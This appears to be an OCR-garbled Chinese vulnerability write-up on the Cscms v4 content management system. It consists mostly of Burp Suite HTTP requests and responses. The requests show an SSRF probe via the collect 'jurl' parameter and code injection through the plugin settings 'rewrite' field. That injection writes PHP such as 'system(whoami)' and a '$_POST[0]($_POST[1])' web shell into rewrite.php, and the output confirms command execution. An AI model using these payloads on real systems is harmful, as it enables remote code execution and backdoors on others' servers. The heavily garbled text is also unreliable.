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1 POST fadmin. phpfcellect/add?id=0&page=2 HTTP/1.1

2 Host: cms.cn

3 Content-Length: 97

4 Accept: application/ jsem. text/javascript. #/%; g=0.01

X-Requested-With: XMLHttpRequest

i User—-Agent: Mozilla/5.0 (Windows NT 10.0; Winf4: =64) AppleWebEit/537.36 (KHIML. like Geclko) Chrome/98.0.4758,102 Safari/537. 36
Edg/98. 0. 1108. 56

Content-Tvpe: application/z—www—form—urlencoded; charset=UTF-8
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Origin: http://ecms. en

0 Referer: http://cms. enfadnin. php/ecollect/add

10 Accept-Encoding: gzip, deflate

11 Accept-Language: zh-CHN, zh;q=0.9, en;g=0. 8. en—GE ;g=0. 7, en—-US ; g=0. @
12 Cookie: cscms_session=083rukrepl9lksiudGhocglr097e8216

12 Connection: close

15 name=afurl=akcode=utf-S8&dir=dancelkc jurl=http%3A%2F%2F127. 0. 0. 1%3A8000&ksid=1k jsid=1&cfid=0&rkid=0

(https://xzfile.aliyuncs.com/media/upload/picture/20220223220509-9¢c8a94ba-94b1-1.png)
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=intval(
=intval(

=intval(
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curl_setopt CURLOPT_URL

curl_setol CURLOPT_USERAGENT
curl_setol CURLOPT_AUTOREFERER
curl_setor CURLOPT_TIMEOUT
CURLOPT_HEADER )
CURLOPT_RETURNTRANSFER
CURLOPT_SSL_VERIFYPEER

CURLOPT_SSL_VERIFYHOST

url

ur

ur

ur

1
]
.

curl_close(
{

= @file_get_contents(

(strtolower(
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Pretty IGEIVM Hex \n =

POST fadmin. php/plugins/setting save HTTP/1.1

Host: cms. cn

Content-Length: 57

Accept: application/json, text/javascript. #/#; g¢=0.01
¥-Requested-With: XMLHttpRequest

User—Agent: Mozilla/5.0 (Windows NT 10.0; Winf4, x64) AppleWebKit/537. 36
(KHTML, like Gecko) Chrome/98.0.4758. 102 Safari/537.36 Edg/98.0.1108. 56
Content—Type: application/z-—www—form—urlencoded; charset=UTF-8

Origin: http://cms.en

Referer: http://cms.cn/adnin, php/plugins/setting?dir=dance
Accent-Encodine: ezin. deflate

Response

' Raw Hex Render \n =

[SRRE

L= RS T

=)

[

10
11

HTTP/1.1 200 OK

Date: Wed. 23 Feb 2022 14:21:56 GMT

Server: Apache/2.4.30 (Winf4) OpenSSL/1.1.1b mod fegid/2.3.9a mod_log rotate/1.02
¥-Powered-By: PHP/5.6.9

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache—Contreol: no-store. no-cache, must—revalidate, post—check=0, pre-checlk=0
Pragma: no-cache

X-Generator: Cscms v4 (http://www. chshcums. com)

Set-Cookie: cscms_session=8b3991hTonfgargiduhll?ievihhal jd0; expires=Wed, 23-Feb-202
Comnection: close

Content-Tvoe: text/html: charset=utf-8
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11 Accept-Language: zh-CN. zh:q=0. 9, en;q=0. 8, en—GB ; q=0. 7, en-US; g=0. 6 12 Content-Length: 214

12 Cookie: cscms_session=8h30891lhTonbgarg3uhlllievihhal jd0 13
13 Connection: close 14 {"error™: 0, "info”: {"url”: "Vadmin. php\/plugins?v=3847", "msg”: "\ub06d\us59c \ublad \uf
14

15 dir=dance&Web_Meode=2&krewritel[a] [url]=%0avar_dump (md5 (1)) ;

(https://xzfile.aliyuncs.com/media/upload/picture/20220223222215-ffc7d6da-94b3-1.png)
7£ upload/cscms/config/dance/rewrite.php FJLAZEIKINE A,

(1defined(

var_dump(mdS(
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FH5|A rewrite.php E, WEEENBT, BIRGEITNEH, 2IFABESHEZTEDAFRONT RITEKE], FIIRE
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& burpsuite MEIRVIEKRE, MINEMERS.

Pretty [RERN Hex ‘\n = Raw Hex Render ‘\n =

I GET /index. php/123456/home/dance HITP/1.1 1 HTTE/1.1 200 OK
2 Date: Wed., 23 Feb 2022 14:24:51 GMT

2 Host: cms.cn
3 Cache—Control: max—age=0 3 Server: Apache/2.4.39 (WinG4) OpenSSL/1.1.1b mod_fegid/2.3.9a mod_log _rotate/1.0
4 Uperade—Insecure-Reauests: 1 4 ¥-Powered-Bv: PHP/5.6.9
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5 User-Agent: Mozilla/5.0 (Windows NT 10.0: Win64: x64)
AppleWebKit/537. 36 (KHTML, like Gecko) Chrome/98.0.4758.102
Safari/537. 36 Bdg/98. 0. 1108. 56

[=3]

Accept:

text/html, application/zhtml+xml, application/znl; q=0. 9, inage/webp, inag
e/fapng, #/#;q=0. 8, application/signed-exchange ;v=h3;q=0. 9

v+

o Cookie:

Accept—Encoding: gzip.
Accept-Language

10 Commection: close

11
12

deflate
zh—CIT, sh; g=0. 9, en; q=0. 8, en-GB; g=0. 7, en-US; g=0. 6
cscms_session=hnmtOcchvmebqldifhveskne3hl91rh9;

oy -1 S Wi

(=]

10
11
12
13
14
15

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no—store, no—cache, must-revalidate. post-check=0, pre—checlk=0
Pragma: no-cache

i-Generator: Cscms v4 (http://www. chshens. con)

Set—Cookie: cscms_session=Ir2ai3ilabldiliibacllglfisghfmhn: expires=Wed, 23-Feb-
Connection: close

Content-Type: text/html; charset=utf-8

Content—-Length: 12735

<pre class="=zdebug—var—dump’ dir="1ltr" >
<amall>
G vsource\Cscms_4. 2\uploadicscms'\confighdance \rewrite. php: 9:
<fsmall>
<small>
string
<fsmall>
<font color="#cc0000" >
T edcad238a0b923820dce509a6f 758497 h——
<ffont>
<1
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POST fadmin. php/plugins/setting save HITP/1.1

Hos=t: cms.cn

Content-Length: 35
Accept: application/ json. text/javascript. #/; ¢=0.01
X-Requested-With: XMLHttpEequest
User—-Agent: Mozilla/5. 0 (Windows NT 10.0; Winf4;

Chrome/98. 0. 4758. 102 Safari/537.36 Edg/98.0.1108.

RN [ [

[ S R

o -

——— o _a oo

—_— T

x64) AppleWebKit/537.36 (EHTML, like Gecko)
o6
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D RIILEILT L YRE, dPPLliUEL L0 XTWww— LOLIT UL Lellronel, Clldalser—uler—o

5 Origin: http://cms.cn

9 Referer: http://cms. cn/adnin. php/plugins/setting?dir=dance
10 Accept—-Encoding: gzip., deflate
11 Accept-Langunage: zh-CH. zh;g=0.9, en;q=0. 8, en—GE;g=0. 7, en-1U5 ;q=0. &
12 Cookie: cscme_session=8b3991hTon6gargiuhllZievbhhal jd0
13 Commection: close

15 dir=dance&Web_Mode=2&rewritel[al [url]=%0asystem(whoami) ;

(https://xzfile.aliyuncs.com/media/upload/picture/20220223222657-a84359d8-94b4-1.png)

(1defined(
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T eval. shell_exec FiIIE N, 1B assert RBEHENX, ZIEE| assert £ PHP7 A ZEMERE, BEEREK—TEHF
HINE. BEEFEERXHRBT, HIRE PHP MIsiS4SMEER N T A AR RCE,
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POST fadmin. php/plugins/setting save HTTP/1.1
Host: cms.cn
Content-Length: &1

X-Requested-With: XMLHttpRequest

User—Agent: Mozilla/5.0 (Windows NT 10.0; Winf4;
Chrome/98. 0.4758, 102 Safari/537.36 Edg/98. 0. 1108,
Content—-Tvpe: application/z—www—form—urlencoded;

Loach T i) QT N P Y e e

Accept: application/ json. text/javascript, #*/%; ¢=0.01

z64) AppleWebKit/537.36 (EHTML, like Geclo)
o6
charset=UTF-8

g Origin: http://cms. en
9 Referer: http://cms. endadnin. php/plugins/setting?dir=dance
10 Accept—Encoding: gzip. deflate

Accept-Language:
Cookie:
Connection:

12
13

14

close

zh-CH, zh;g=0. 9. en;q=0. 8, en-GE ;g=0. 7, en—U5; ¢=0. &
cacms_session=5h3991hTonGgarg3uhll2ievihhal jd0

5 dir=dance&Web_Mode=2&rewritel[a] [url]=%0af_POSTL0] ($_POSTL1]) ;

(https://xzfile.aliyuncs.com/media/upload/picture/20220223222801-ce2ad950-94b4-1.png)

Request

Pretty

(=1 E S T R

6

\n

POST /index. php/123456/home/dance HITP/1.1
Host:
Cache—Control: max—age=0

Upgrade-Insecure—Requests: 1

User—Agent: Mozilla/5.0 (Windows NT 10.0; Winf4; x64)
AppleWebKit/537.36 (EHTML, like Geclko) Chrome/98.0.4758. 102
Safari/537.36 Edg/98. 0. 1108, 56

Accept:

text/htnl, application/zhtml+=nl, application/znl ; g=0. 9, image/webp, ina
ge/apng, #/#; q=0. 8, application/signed-exchange;v=h3;q=0.9

Aaflata

GEVWE Hex

CILS. CI1

Arrant=HEnradine: ozin

Raw Hex Render \n

Response

HITP/1.1 200 QK
Date: Wed, 23 Feb 2022 14:285:10 GMT
X-Powered-By: PHP/5.6.9

Expires: Thu, 19 Nov 1981 085200 GMT
Cache—Control: no-store, no—cache,
Pragma: no—cache

9 X-Generator: Cscms v4 (http://www. chshcms. com)

9 Set—Cookie: cscms_session=ZiclvaTpBglspsohTIvivhihinTtTuls;
10 close

11 t+ewt Mtml -

[y S T R

[=3]

must-revalidate, post—checlk=0, pre—-checlk=0

expires=Wed,
Comnection:

Crntent=Tumea- rharast=ntf-12

Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fecgid/2. 3.9a mod_log rotate/1.1

23-Feb-
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e e aabi . e s e ERn Amaaasn 4 ples . Lem g damama, madme S b ena

8 Accept-Language: zh-CHN,zh:g=0.9,en;g=0. 8, en—GE:q=0.7, en-US:q=0. 6 12 Content-Length: 12540

9 Cookie: cscms_session=hnmtlcchvnefgldifhveskne3hl91rbhd; 13

10 Connection: close 14 desktop—tmicgfm\administrator b——

11 Content-Type: application/z—www—form—urlencoded 15 <pre class=" zdebug-var—dump’ dir="1txr >

12 Content-Length: 17 16 <amall>

13 G \source\Cscms_4. 2\upleoadi\cscms' appimodels \Csdb. php: 93:
14 O=systemnkl=whoami <fsmall>

<=mall’>

LR R T
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